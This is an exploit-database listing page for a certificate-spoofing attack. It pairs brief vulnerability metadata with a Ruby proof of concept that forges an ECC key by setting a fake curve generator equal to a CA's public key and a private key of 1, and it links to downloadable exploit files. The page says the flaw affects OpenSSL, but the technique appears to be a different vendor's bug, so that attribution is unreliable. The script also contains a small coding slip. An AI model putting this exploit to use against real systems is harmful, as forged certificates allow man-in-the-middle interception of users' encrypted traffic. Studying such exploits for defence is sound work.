header-logo
Suggest Exploit
vendor:
OpenSSL
by:
Exploit Database
8.8
CVSS
HIGH
Parsing Vulnerability
20
CWE
Product Name: OpenSSL
Affected Version From: OpenSSL 1.0.2
Affected Version To: OpenSSL 1.1.1
Patch Exists: Yes
Related CWE: N/A
CPE: 2.3:a:openssl:openssl
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: All
2020

OpenSSL ECC Certificate Parsing Vulnerability

This vulnerability allows an attacker to set a fake generator G = Q in an OpenSSL ECC Certificate, which can be used to generate a valid certificate. This can be exploited by an attacker to generate a valid certificate for any domain, allowing them to perform man-in-the-middle attacks.

Mitigation:

It is recommended to update to the latest version of OpenSSL.
Source

Exploit-DB raw data:

# EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47933.zip

require 'openssl'

raw = File.read "ca.crt"
ca_cert = OpenSSL::X509::Certificate.new(raw)

# Parse public key from CA
ca_key = ca_cert.public_key
if !(ca_key.instance_of? OpenSSL::PKey::EC) then
    puts "CA NOT ECC"
    puts "Type: " + key.inspect
    exit
end

# Set new group with fake generator G = Q
ca_key.private_key = 1
group = ca_key.group
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group

puts ca_key.to_pem

Navigation

Suggest Exploit

Services By CQR